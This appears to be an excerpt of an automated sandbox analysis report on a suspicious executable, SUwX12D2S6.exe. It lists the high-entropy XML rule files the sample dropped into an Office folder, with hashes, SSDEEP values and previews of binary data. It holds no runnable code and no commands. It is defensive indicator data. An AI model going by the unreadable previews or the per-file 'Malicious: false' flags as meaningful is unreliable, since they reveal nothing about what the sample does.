Preview:	<?xml........=T....\.SF..6....u@......W.~z.}..{....Ch.l.&..<b....>..g..........3C..;G..Y6..`<...A>.x..M.?.1..].F....q.$....rxR....c...[.h.H@..sf\|M.4...+...,.a.......K .4..k..\|.h.K)...T.O...A...=..UC.1"....@...r.!..j.....T..."W...t......D.G,......?.>..ayP....g.0Y..'..H.B.]....d[Us...G.(.}..j1BV..:.)..1..\|.\|..p.c..i.{.k..s1./..<"..G..\.J..a.8..;.w.\.........5.1..M..v.....%..O."...!$U.w.G.>..L+k#+I^.(.:..VL..f....'..ny.I+5...8..;....d....yu.K)....3.. .f...."L....L0...Y.......u+(et.2..x;A.$..\|...u...Y.0.7...k0..Ct~...4d.V........5.=.J..4....^.....x...Y.[.~.$.O.{.X._R..y......v#.-~.j...t.......C./..qi..7y..B.. X+.X.....to.."....itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11499v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1786
Entropy (8bit):	7.906963535123005
Encrypted:	false
SSDEEP:	48:p1bn8lyDfrQWBuMVQJcGxwo0jUkNlkDZ4ovbFD:LmOfrQWgaLGxF0jUksDZhz9
MD5:	BC46AA566AAA1D9715756B485A300F1F
SHA1:	FCE1D8BD3F6D1E175D98BD069362A54BE7DE6839
SHA-256:	2CB2619C3F9E1AF389D9194655BC53B9F471308CE129A9A57B77C3167C90E807
SHA-512:	E77F5D4527BB308CC38370F190755442BD1E48F7EDF40896B3DFDEE6D694FA28E2362337D0CD168E1374A8268114C1B91467535734CBAB6C164FA3925DDE7063
Malicious:	false
Preview:	<?xml.."?......&<..w.A.......i.Hs........}qJ...#3..G..e...k..t....F.'........n,c.FZ....g.!........$..`..m.m..7.?.M...r..9yb...6..z...h.{{O..I.E..uUa;'..&......\.4vv<Q.J_..cj.a.SF..Ak.<........>..].<.k..a.w..e.M@..n.F.....]e........R......Xy.....4.%O;9........vG...........6/.< ..8}.m...K......z$R....{..G..9&^.yn...~./!,..q.+...h$o.=.....i.M..zr!.dCV..f......J..~.l...Y..Sf...E(....iT.N...q.....L..7yR......=..\..I$<........o... .%.F;..%G2}.9..W./4].b...U.p:& ..._..{.N..".^$j-.g..G.....G..}.7.w...:..........`..l....1<...QH......\K ........7"...Xy..q5..b.....m.w{T..l.%.Q).Z....M.]....w:.'...<.."...A..0o...@.....~.l.....Z......}...;.50..~.l.._+..B.........+f.W.....vh.y.4.@~W8[0"..1._.3..i..R.....4t..b=6G.v..I......z.E.<.......%Qw..H....0.....#.hF..g'.?....%q,...@..........`E..U. .....-.U6.....\........C...{...''m.=Np$U.}MP......7E.1.i2.2..(....C.Z)D...Z...ir......4T..xl....\|.N.{vK.....V.*/iW`.P.1...#-..[)(./..-..#..y..(P..7-x-...,.:.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11500v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	886
Entropy (8bit):	7.733885932209381
Encrypted:	false
SSDEEP:	24:SUffuNfiM9DmQlBS12VUrU/voKbjQJUriBVbD:X+Vn9DbS1awKb6UmBFD
MD5:	D444FE6FBBECAF28302F1956EA6D6CF5
SHA1:	84443B5851419B7BAEDA45BCD164B607B6C54010
SHA-256:	598F22A175698227036717D6310DADA387D5403E0E834AC5A351C09EE9738175
SHA-512:	3D2E422CC1AB4EF437B8957866B2311369FB0A10C5AD3DE1ABD8AE375778440CF1AE954D974C7808E499653C222885E5434C4117FE67C1A38C8261DDE88F1448
Malicious:	false
Preview:	<?xml.t....t..kU.39k..a.cn$.a...Z..8.?.k..r.g..o....&...(.i..@.^.gr.Q.x.z=a..........=..m.M.\|^....r..N.....?[.G..&Z.\|#.'Hq../...../.?.."..Zs\|...[..1.......h...8'.x.n.rF"N...=.{is...Z`=..".Q..4.=.....p.g......w...0.QM.3\..P.J.G4.........s..]..aM.....e3#...?.-...N$DK...?.ZC,..x.....\|.[#..............s.[]./....?...`.b]..L\|....yw.#}.?....f~..M.=..5M...?l..,.,'..]W.k.........i..x.t1Z..4....T...L.'........W..2a..5.......2......iM_AO.HV[<.0.Iw:......`.....z.g.7!............J...2...P.V.>.^....zW..33-1..X........tqr..)3.m..F...F#.$.....D.n. A.iz.a.P........WO.e....H'.x...W..\|.H{c.zFN.`.Y.'aV....K.VH......wo...p.\|".{.g2...H.F..U..=.......Jl...0.L.V.![F6.Q.X.z.....y..R...N.z..;wCij.O\...uD.vt.b.g}..m....`S..7&K.....c)...>.22.-\|...a.[b..Q_h.. 9...LS\|....J...itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11502v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1324
Entropy (8bit):	7.849424704992959
Encrypted:	false
SSDEEP:	24:Vd/z2BFHdkqG871AYkM0+vHcsVp51oWID8BGPmSEzbt3JxHcVbD:V8BZdkqG8Z2f+vHvoWmXOzbpcFD
MD5:	2530201E332359496050FFA7D7D29975
SHA1:	93473D9DE295E415D0D88B90F229FC96239F2135
SHA-256:	F08964805D86A34A45F18ED98CF74D622D85CBA5772D4808E24AFC870352A117
SHA-512:	C8F1E6E798E2DB27CF185D187C00C0C1006AFE69E11C6CE7C4A1A199E566BC0B5080F90F0A5951430826362A6F57A98D79290D24A54530AE65C0169CEF0E0CC5
Malicious:	false
Preview:	<?xml.....n..M.p.n...X....edQ.Y.La.Fx.52.2"]..O.h.O0s..}...el.8.X....D^..>.g...).....h..c.....vk{Oe5.$...?..2h.].,.K(.K......E.b....I.....Z.G..=..S.,<6..Z..x......>........zv...{+.:..@,.......;.'.Z'..6.4.Q..]@M.3..D.......Kf.=..Z...d..V.h.......kJW...k..>...3.l.j.o....V&`:....t.'.G.PZ....<..=(....z...<......#..y7....h..8U!...`..=.....fkK..&".Z...]..b..^+...yZV..gp+.....F.m....+...;,?.9.B>..s....6...d...~.y.OT.K-..:yV..d'`2...%Ap.JC;Ne....{\.w.T..f;P..F.Q{.q...^fm.O.6O...,..S@..8]&.A..^...B.u..U.Cr5..`.0.S&./.......'.-nr...ax.......L.r.D.p+.M#n.....Q.........D....8.a..<.Y.U.....5..HE.F\|#mM^X8).....Ad\..HF\!..K.ku.....D..&I.d....J.......;..U..n..Egi`o.61.l..^.N5..F.?.I....N...5......#..R..b..2..d.I.F..6..w.Y...Yn...t..b..w%.........m.....(k~.d..MS.>.HV..,V."`.1......!.....<...).8.+..V;.....2T;.E.v.R.......#;N.Azp..._...2P.....hV...5.3EP...3.......P.Z+.r.k.Y....M.]om]J#d.P.....g;.N.J..f.$.*f.U+)...e\.C.t...........Y.......>...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11504v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1435
Entropy (8bit):	7.879158672292787
Encrypted:	false
SSDEEP:	24:KoWrOKTw9vpICpWL6eEh5io4VItoOYGSYDmshd20XZ3m17ewVCdf6nVbD:KoWrHU9K6W+eEh5iodtoOYSno0XDwVCk
MD5:	E7645DEB9E3AB54D335DC3CADE7E9777
SHA1:	2B4DD2F6E4B5EFFFF437BDF8DC710C0F2C50DA30
SHA-256:	0FE4B7213C7083240B0F56A6FA346F575E221FA6C210292BA41085C84043950F
SHA-512:	E801DAEA47E82AB0EC2729992978C64147B7D63A41C36A6C6B02BBD7FF4D1931E70A325A672DDF6E9B2D7DC83439551560B9ACF654A20406D7602B9AA85E1230
Malicious:	false
Preview:	<?xml.Q.._.mr..>l.^.W"@.I.8>..!.L..<.&....."8]q..ido....O...S..j.KMc..OZ\|.^..p...a..Q..^..(Q72../a.d<.'.."..AE5X`.....E.^b....:.......ud...m.......(;....<.5c7..)l.+...5.:..._..'J....9..Q.....M.......O....Z.f.W......e{..L.?....:G.m..p......L%K...I1...r...m.h.D...x.}.:.6.0x.Y....'.....J..u....K..U.._.$./.........X...X.~.._........f3..n..>....P.+..5..W...z..7e.P..h.i.<h..T......i.)R....q.A..-..j.....^..G..97V..~......m...Qeg. .-j_.6...-1:..'..s. .....)..c8S(KX..=..+I....^~.l.\|a..W.9...v....w..=...I#.D.dny..,(P6\|.`L...t.......)te.d.wb.+.Z.k...%....KV.d.#.u.9..S....:..[.D&..qj.F.E....i=.]....f.k{D%..........IM.?..?r...y.......m...E...JH...!.T.............D.......K.Ht....P...<.>..73'......S#..S.k.../..7.+:.(O.^..{..h...(E.#...Yi.:_`R.....,....E...".../E9,.E.P........Dj....z..`J.xj...ig.l.=........Q......".J.nUR-.!.C=..6%YUr..Q.........I35M.m.Mw.c...n\D.@.k...F.f2.D/.....A....~.s....$h.../.A.P..i.0..@...[.dZ1'm.u...!B.4..u.;.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11514v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	7119
Entropy (8bit):	7.97404418112167
Encrypted:	false
SSDEEP:	192:Y1TDgS1LsasNhTFdbDdOE1ZeFmDMHDdXgf0Yt63XDX2O6D/U:q5+RbDdOE1omDAi63yOaU
MD5:	5760956CF694D653EF626E49A0ED6159
SHA1:	9251ED2C7445FDA7D85C78E203EAF41AE92CA739
SHA-256:	955522539352758AD5749EEC6E1D043C3FC73DF29277E3905F7530ED0A149BD6
SHA-512:	57680254CBB96814A54D45CCDC1ED1A1BF33E799C364855F0F67591F42A9F2324D5E1E5DA5F394C0403DE1BFA77CDCBBBD2B51230A59CECD536C43DD3751B3C1
Malicious:	false
Preview:	<?xmlo...;1.vg@a.......\|$w"g.3.hw.p.Ho.....q.......(......7H.O.i.#.`\|.Ie...jc..u.=..K......T\...cY..oJ.....3.bV.e.h..v.R...._..L#.B.}3b./...{(G..N[$..........;.{....l-bm.S. ..'.1.....x.........<...I~V.............cl-..../..$.....(...-1.V.."...~..............u!....Gh.wp......)....H.gg .B.......\|.-n......X..5...(...mQh..d.\..@.EM..J..c....1......7......5...m.....L..v...d.s.~R.(.....x#=..L..j...Wl.j.1...O.v.K...`t_..[.M.!.....8.Ab.......%...s...]\|.....#eR.a.M..n~.y..N.......}.....f.'+vu.....t..}..<xg..n2>.....8..JX\|....R9Q.1....M.:...8.I...U.=.....<.>.}..8.\.^....Q/....Eq...TC....X.!.?S....g...n....r..<..P.....a.l....,.U.......c...(/........_[Q.;{._,..Pgx...^..o.E.=: ..:`R-.P ..r....7.&N8 .y.\|.t:G."....'x.'.i....u..khmZ.............~....~....T~.....s.g*.B..:...n...=..>.........C..c&.r.Dy..{%..6..q^././^q$...#?."t<.E...8.n9~.8.......[....!.].\...e.w.<..f.Q.cJ.V.6..y[w.yt..`U.9.:}jy...~.g@...x.....).S........Dyo!.../..\f}.T...>..Uj.L

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11659v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	762
Entropy (8bit):	7.728363760600615
Encrypted:	false
SSDEEP:	12:bYKBMCeGgL1xE0aPyAF+RnezRv2yWUMRUBSv9aLhtyKaAa1PqKWuowJUjVcii9a:UgMjLHEfo2XWUOsSlaLhOj1CPjJVbD
MD5:	442BB3C933BF6019B83AB8B67ABB66EB
SHA1:	AD1F3FE6916A3AD45033822BE5D42D3FBCBBE3A1
SHA-256:	6A691F21D1823AFF021152696013EEAF414510FF19FCE7AFC6F0BEBC5ABB6880
SHA-512:	BC0C99D22626CD60D3C21D96F57512ACFF1C664CB46A45DAA8B2C76FB8C155CC1FECB84186C7AB84CA5E18C1C34DF6404E507536773B911C1CBD60C4EF456A84
Malicious:	false
Preview:	<?xml..............o4Bjl.. Qv......(...:.'.;&..kW.\|.....>.j.~!"..%...\|.....[c..e.M....3.Q....,.!.Z...._.X.dM.<Z.......>.)XQ..5n.....I.]......&...~i..t;.. ..y6.r....@..H......{...k.k%.....}.7......wp+..x...o....."CmB=...M.'.....7.!@.g...w.........L.FA...!.A..e.</.....}...@X.F.t!...!I....k..V....".j.g.....h1.0k...a.......z_....d.f...$...S.,.G..j.$.UE..1#...h.^....=;6^.......-..*.....I..K.K...Wb,<..18..`..w..D#._........p......~.f48a....{..J...ej..@1.._........^Ab.....&.n.)....k.xYC..K\vx.J..E".....-..Ht.Q..=Sn.]......%=.yS.....m.)'2.L.s...Fw.b...hg...y$..bt:.nc..Vj.....%C....@......?c..~t.Wc^..,.\|\|.w../..."..H.2...+..+........v.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11701v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1463
Entropy (8bit):	7.857684140401945
Encrypted:	false
SSDEEP:	24:7XmyXviv5pJ1/iAU00swuDKjv09ZuVNKNVmU4JFArp9ahJsDkoeD128F/Fr/JBJl:7LihpDiAUwwCjuvKNVv99GJboeVFNDTT
MD5:	51CB850343B57358EDF9C1D541512304
SHA1:	44C9227A63A36E46AC6CB779D8CA9DF9498948EB
SHA-256:	1F7D7F4A60419DB7140A28E4F340171B20011B59E92A4AAAB2AF2691232FE60B
SHA-512:	4928A1903D55FF855E0A865ECB1A7012E765713EE7794008C5E4F52364C23598CB4D7E1569D17638412586F3553F17CE180F998066BD13ACBE61359C4E838FA6
Malicious:	false
Preview:	<?xml..@......z..p.[..&nJ....\|.R.dLq.zo...,.._.".3I.g0..>.L.e...N..fE.T......;...%G.......VO...pR.....V'.".i8tA...o.>...)(..ud.X...d........@.l.5...d#.c.g...P..E.4..e.m..J8.].u^.7...........-i`...z#.T..-.jH&..R4.v.s...-s>.aoQ.\|.._.H....:HM...\3.#.u....1f..YB.F9.[..Lr.^I@..+.....)..T...p-0.....&..{..$....1\...lQ.9@I....s.......&..-.C.e.On..!:... .-..-U.%@.O.0...Z.....M..ZN.,..P.a.!..U~HR.G.....=!D.~..B,D.....G-E...[........&.3Q...uUQNW....GXp.#......T.&!....]M...}...9.:....H...d..F..;X.w}S..5.......>^6L-....D............p..\|.p.Y.IX\|-.....0lFW......l....@(DU....5....O.OR.C,=.3.9...........'c..a..V...Z...3uuV..7B?.....q.:.. /....5..q....s...O}.'.B.<> 3B<........j.5..f._.:...9...l..1W..A@..._.>..v.5yoR\|.......<.K.. .....&.U..`.i.L...i..zbr..K.M..U.T...;........Q.#H......<.+.gYp.M....9....p..[..6.....<..?.. ;.m.+....e......-.{C.V.l..3{2..4.&\..~..D..{..z......:.At..G.K8.....y..u.y......F.....q]3.......[....:...M.g.C....@....~....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11705v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	3505
Entropy (8bit):	7.948509780863495
Encrypted:	false
SSDEEP:	48:fBH7+TuUDOxrdXaE3IbQ3mAgfVmVcwh7XcKwwC1+nX6LdFEYYkCF2tqzIfC6r1FD:F+qUwdaEZqtmVcq7LZCoK5FvYkCSTn19
MD5:	C8A16519EB3EFA277EC069D1238B7B40
SHA1:	BDF21FEE50B0052036B12983ABA262F7FF651B53
SHA-256:	B3EEDF64C16B290D7CAA15B6973346563C27F59B1B3E9D8394686B77BC833671
SHA-512:	23E0D1CD2A908E44DB5D7AF8EB11950B97BBEE4CDFE7B2ECB4FA174173DED001D7E8BEDC4C8C98C36EDC67DD5303EB0D7B99FC451C1DCD0DFC660C2B9D10E23B
Malicious:	false
Preview:	<?xml.^.w#.#...\ .'...l......1U ....M........#G.%../.Z........;9....n...`c.8..!...ygv..4.E..bO..S..&.g.y.k...{9...]..e(.6W...j..\|.C,n.D........$Yk.....A..^.."....%..)..Z..?'...5..PP\|W.8.F..w.8.>....d#.3^........I3.7\|.XM>x.e) ......^..nM..3.~.6..=.>8...<^5).5Y..@........_."].2..Ttp.$.U....u.^Pj..d}.{......l..Zor ...!:.P.J.gn7..Gk..[......n.....#...(,0....>.h.^.>k+......[....N........z...h.v..A....4....!.4..{.}.-..!";.....R('.:l...$.v.+B...\|............h@..\|=..@.7L7.=$..\...@m..pSl.!G.V.X3!.T..D2:....%a..?.}..@..5.lU...3....<......=w_.....x.... ..R32.......A..ok.M.v..5:M.b.I.F........f.A..}..:-.W...%.6f9Y)[\|.y..oY.).....L..~......g...j.......@....w._..*WG.&y.A.._.]..W..0[K.,L.c...<R.&...c..,.+.Y.L.c.._.....Wg...+......X.._.7...aeu.q........YA3S.~.^..#.U#.gs7..A5.d.^U.O..Q.A...:s.?.....J...aFe..P.......?c......5J...2.hU?........r..F5k..\|I...r...w... ...KN.~G..k.7..c.W..w.\|...Ks..+i.1.....8R...hi........=.P.j;.v..A.T./=..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11710v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	965
Entropy (8bit):	7.796128304159096
Encrypted:	false
SSDEEP:	24:56bZ4J5qNwBFd5O31IRwT/RTdlXaQIRy74OVZZ0b0OWVbD:EbWJQuXslXmmpaWFD
MD5:	D854CACFEC7C46A21980CEE113269C1A
SHA1:	A5D55433CC10ADC24246199023C70955FF0F2D6C
SHA-256:	EE81605AE800E19A156874258A289D2BF3F1D9B78C204C76C3793AEFA1B71906
SHA-512:	C95EA863DCA856162C28B7D004E750405C1DBFC7FF5B1A8D3DEA44086AB881AA671075D6D9A004C86E631DB2026943E229F0410281A870815BE6483A3124DD8F
Malicious:	false
Preview:	<?xml...~V.[e..O.T,R..i.~.a....#..j....7Q....<h....J.J.c.n..\.8q...Bi...0u.,#.S.i]..>....y...0.Z...we....z.....Uu."..f...#......m.@..i.k.WdG...e...J....YC.@.GZ..F.l).-.>.<.~.+.J..H.......0.=........O...3\.W]....UU.Y.SU..\.'.....`V.G.....'x..Y.....=S.&.QZ.3d.........{..aGvV..FE....D.]..0....Ek..pz...}...>..kp..;...7...T,...vU.q.tb}.a.Ty....e.."..ET...$%.. .hh..k..t.=B+....~..3...u.4ul'@~....P..^,"......e........../8.,f.d...$F..s.I.n....\..(.z.P.....>..@,.M..aTgXSI....?.{,~..r...L......._=.E...>J.<.\|9....S.....YQ..&<.wJ..K.P...{8F....e.p..Ms..c-;.r.=8.@..\|.....-.[....byu.?P+...G..g..0NM....w....d.EZ:.KYm....O.qH..{.j8......Gg).M.G.*g....+.}......:....8I.$....B...X..f..-(........A&...............II...ncY./E5SM..y.iw..O..;;.(:.. Vw.3n-....k..7.u....9"z9.#...G.e.....j.m......?....5R.]>.....Wv..{?P.L...._.4.j^E#..51..&...k.t0.[l.z%..N....itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11767v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	2983
Entropy (8bit):	7.935100946656349
Encrypted:	false
SSDEEP:	48:a9BZ6Tz1CwDzdY7N7a9efpMyYhXKyCp9MbCQobMLUHroPQNrbAeyxYYPIut0HnoE:ImTzHfSijFIsGmUHro2yuYP3tinj9
MD5:	5B33E75C055670661299E53834F43DDF
SHA1:	44B086B63B5BF475ADC13AFC0A02C361B0C2C893
SHA-256:	79555F50F5387D59ABBD0576F044EA69227DCC8F20503CB85B7AB7F17FA95EFE
SHA-512:	9317A8804A6F1CEFF1F92E607A699259A84D80B0EE8A7FC325EE0528CE3F892BBCA34AD0F1BE8647EDCD7DDF7B93FB069497C36662F736EAB60BC8E8EA1E0B57
Malicious:	false
Preview:	<?xml.Vh...&..Y.\9.<.%.s.59o.~H$.........\|..e2.z.........W..Q..BP.^..GO`....v.I..;N......#A.f..y.......~.......8L.xr.....qt....."..e...(....n.......;'..Z......7.).....&.-.%...[.u.(.........v#..-EC..S..6:&;bF;.bo!o......<...xynz`ZHZ...W...n....V@/.5..4.7.....V..!MS(go/H.jfP7M.u.R!F_......K.Y..1.../.....^....t\|w.?.j7.g.\..N..^.(0^P.y.8/....H.9Q..B.&..>..0..M..{.P..(........V..[..%H$2.3.l..y...i..?..U...@.>...No..^.2{.R......3j..;m[ia"..1.o...q...p.q[i.c8sgB&.2..8...JG-.....WU..~.3..>$.;..0...1[..+..IN..1.x.....w.p....:.....l...w..9........j.W...5...J.]<.86.6J(Y..v..=A.(;....U.vl.[KX0..s/0.qZ\..i..8.I...5..0.x1..~..>.7.._7.V...iAp..3..G&..=....D.z..>....\<.h`.T.]:....,.FO...)..'].$.1....}...=.....$nh..Jtb=fl............Q...h...,....P...4.Es..Q...@.Bq...2$.;.X.(..t...7 ..y.`..........i.........w.:9..M.7>b..o..5iIY%.ww.Wd..............NY+.a.R..U...IAW....!..W.{..8.)\.......3..o..7..I.cHwL.8S....1.:.CF....^...O'...2...o-.`.x_.8o'..._

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11768v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	2487
Entropy (8bit):	7.912127587979177
Encrypted:	false
SSDEEP:	48:+axDTSUJHJbc9cA6gdQNlfPePn6tdIH1abveGrPSD1SuY6MG2mwuFD:+V8Y6AQ/fPFmabMDw6MG2mR9
MD5:	000C1E8A490FD1C891C749CCA85795D3
SHA1:	A45B4D8E404F1635BF5CF5B841F2B99BC782BF82
SHA-256:	0805F833B8040DE96D040686DD4113A0E7E0ED7C20C25C424DC14322CF7A9FB4
SHA-512:	A254295F7347F11632B478F07C9320EDB32E62A2E7A4FF3D1768994AA1544EF7925DEAC96031520CB7C84610E1894C95039F9778086A9B9E547A93BE2DB7FF52
Malicious:	false
Preview:	<?xml...{+.O.._M.p.>M..Q.{...f..I.g.g..xC.q5..[...j..M.cP.S...c.k.#C..Bm.s.G.o.!`b.......8..`..w[....0.57..../`...wbQ.H.6l.f.1.X.\.xfCJ...-4..}..,M.'L..[..7.G......(....I...H}..7..]....@R..S"...D8..k......HV\|....)F...........HZI/\.[m:........>.5(.%.......(NH...R.X..n.cJ..#^'....E.s..H!>/.....O6zH..E.....H.v.r.'].i.s&.orp]..N..`.).%. dTw.....X...l.?..]..._x..o.l......N.i.X..VRS...?.99\.<L..c.J....l..F.T....S.ex>.....kF.E...9$.p0......3u..t.X)O.>..5^....j..J_z...../prv...p{".H..%.....'..Nk!CO.M.......j.~.r?.J`..y.l.....T.&...^.n.......(D.Od1.1_.f...@o...(...h...sT.W.....2B..'G~..\|;M....0~.N..v.Y....h.../.P.....d.t(l..1;=6.._q.mfi\|...<R.....q1.<..x...jv.:.J'.\.@ .;...h....m-.....D;.h.`.U.X}.N.vZ..I..6\=....U.W.....k7...;R.....&W*..._.D."E...'H:..~6D......z..(...#.?.[...... ^...._.Ju.."f./3...v.lQ.v.G.Z.........H.i...L?L~..\|..5CJd.../._Wz..#5!.'..\|.......-lm...7...7....s(..O.\/.=.%...hT..n........!+).;kd.{><)[V....Y..".a.X.G...=

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11769v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	3132
Entropy (8bit):	7.942392572632614
Encrypted:	false
SSDEEP:	48:ADS6c23w1WAiPB9BL/o317+bteU/JDhGsrqL21wnIdlrWlecNvdFXMNFD:2S6cWAipjc7KeGhGsrqL21wIywcNTk9
MD5:	6F379ECB3D9BEC098B66CE0F549F8EF3
SHA1:	99CE4A9968E1E8AD47D3B40DCC086ED9E44906FC
SHA-256:	D694F3748E8D38EBB68E389982181E0C9CCA280F7201E7B126413AE6B5196118
SHA-512:	629B2FB7AD600824EA6109F16D027DDD90455B908F1534846C04F514AAE404E200681F39F5BA10FB628F418213C76410BB927898C587792E938BA30A00A56E2D
Malicious:	false
Preview:	<?xml.....oM...%.-._.{N..d..nV.........ag.."...H.p..]..K..E..P..-.E.Na.,........f.K...h..=70.../~.a..M.#B.!.:4h.(w.B.......P..4Ws.9.3".a.6....w.....o...w...8T!.Q:..r.+D....W...!P'?...S.D.$.83....T.n...../G.._Gdk.Fw..%J.H},...f.Q1+..s.m.-....^..P=..........Y..}h.p.....ko..]x...S...c......x...@)....s..?...u.#.AZA..].?..\|....1..G.......iv...L...\...ka...q....J...p?.~e......?.s.XK.....&.J.g....%"O.iQ..O'.nM..S..\|@..].j.^../c..i?.A...Z.w.B.._J\D.'..5..4.z.[....G.9..{.(Y{.......Q..^+4..U'-).y...9r.u.W.qYQ..u!........=;dMyH~..]+.....S..<..N....>..y....A.*..H...o..h91.K..<.J.Q..k...\....H.p....e.+...sl>..;.)...j.d..V......O.'1....K&.....l...{..tu@#w.,..S..L.y. Zgo.../.&...E.;.e#i.P.;..,...y.%+Y.0......YF..;.9.uN\1...]u....o..7...%...%S.-.....#bnr...`.td..>&19.1..Uh.pO..Za8l......+.....sh.'...g..a..7.8.7.^..p.!...N.R.!..H`..O....G....Q..<6oz.nr.....q.IY=......a9...m6.4....w.I..\.....P(.u?..."..J.$..Pejl.....%..{JA.."V......6V%X.r.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11770v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	4968
Entropy (8bit):	7.959745591448549
Encrypted:	false
SSDEEP:	96:UTHXfd3qnQbDtQWU+OYrdGWYAC5T0cK5u1KgckY/X84PKq9:UTHX0QbDtbU6J7Yv5T0clcj8VK
MD5:	980AF3BC4E6F1283E16060A977D4B4A0
SHA1:	101994101F21C39F2DE0BD9B8DCB8ECC4E0E0F2D
SHA-256:	AA6476ECBEB7831EF9AA4E943F2D96DC41C14CC923EFF91BCA3D20D9DE0FB01C
SHA-512:	525BC2BEAF9FA3EC80E7C5BD13B9D59A8B304EEB58214232F1F218437DC6AE02EB386E519A8AEB0F308D969DD7D5E2B8E85A04A2C6E7505714A1172801884C2F
Malicious:	false
Preview:	<?xmlN2. ...30...!.j..2.e...[..>...)c>A_.'.r..Y.y..).F......6y.T....Of.o=O.lw..>...H.&..s6ahlkT.."E;.........GHX.]d(...:....s...\|S.G...6I......&.HjeV....d..f.7..H.9.k}.6...........W.W..w......R+uD:......N}.Th....j2.k_...n[`x...f.....Z..&.d..^.!..[.&.._..Xc/_#..u=`)..xg.zb....5$:...L....Qx..T..........b..RN.LA.J...(yo.;)....G9...!...=n..9.i.Hox..Kf.m:.nq...UtWj}..Q..p.{.....@.7kV.$.4B.i.[?...)...l....z...xyv6..J.....H5..l.`...#.;S\|..I._...y...=..<.A3..X6..U_.../...`e..e.Q.....Tk...tr.. ...s=0hu.E.G......Xb#.]@.3.m".(.....L8e.&.>.y3P!d.....7u...7KN..hd.^....C.v.(6...8(....!.+....).....\....?.'..#.AA(N..a..6.B.J....M2.!./p....OY...J$pf...z.q....*ur.......2..%.un..m.cY...12Hp.0..........D..d..Y..iX.@..7-P..]L...U.#Mx.S...k..I..Epg..l...U.W.BE^.._....o#..9.TX.2..L......$..tZo..e.<....2:..b,.L.4._.....^bWc........Z...`.L ..1.0Zq.. /E.t?........+.z.../........$.:.,..z..p/Z.......R...#....d..~.E..^{../y<J#.7+Me.....@N_.i....c.}.Z.WO;..?'.&...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11771v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	7596
Entropy (8bit):	7.971942013342191
Encrypted:	false
SSDEEP:	192:6DaIjL5ygsLUD7S2+5pnkASvL4okWOhiiHD12V32Jf4CG:7gW6/+0d0owHh67
MD5:	A8718E04934DA2274A50E93E20AFD458
SHA1:	3C4A189080E63AA90A87433B0111AD4B47E473F9
SHA-256:	BC7A1D4D386D2E8BC03A276A0FE877A73C45BAAF9990B8DEDEE5837CDCE061C3
SHA-512:	B220F38EE5B175E05CE78795B9E32420DABA368D2D9ED80EC0BD6D2770D768E1364DE6A12516EAE35785A96CC3B03832ED99B082413AD34D24D9797FA5D2CD11
Malicious:	false
